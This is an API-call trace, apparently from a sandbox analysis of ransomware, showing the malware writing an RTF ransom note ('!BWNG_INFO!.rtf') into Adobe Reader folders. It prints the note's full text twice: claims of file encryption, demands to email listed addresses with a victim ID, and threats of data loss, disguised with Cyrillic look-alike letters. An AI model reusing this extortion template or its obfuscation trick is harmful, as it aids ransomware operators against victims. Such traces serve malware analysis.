t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n|Åüû\x80à{L¯VÒ\x8ei½î£ÕhÞ\x8c|>\x08\rW\x1f»é\x16â3\x19", lpUsedDefaultChar=0x0) returned 14086 [0040.595] WriteFile (in: hFile=0x1cc, lpBuffer=0x2732c08*, nNumberOfBytesToWrite=0x3706, lpNumberOfBytesWritten=0x390fdbc, lpOverlapped=0x0 | out: lpBuffer=0x2732c08*, lpNumberOfBytesWritten=0x390fdbc*=0x3706, lpOverlapped=0x0) returned 1 [0040.596] CloseHandle (hObject=0x1cc) returned 1 [0040.596] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\!bwng_info!.rtf")) returned 0xffffffff [0040.596] GetLastError () returned 0x2 [0040.596] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\!bwng_info!.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0040.883] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, 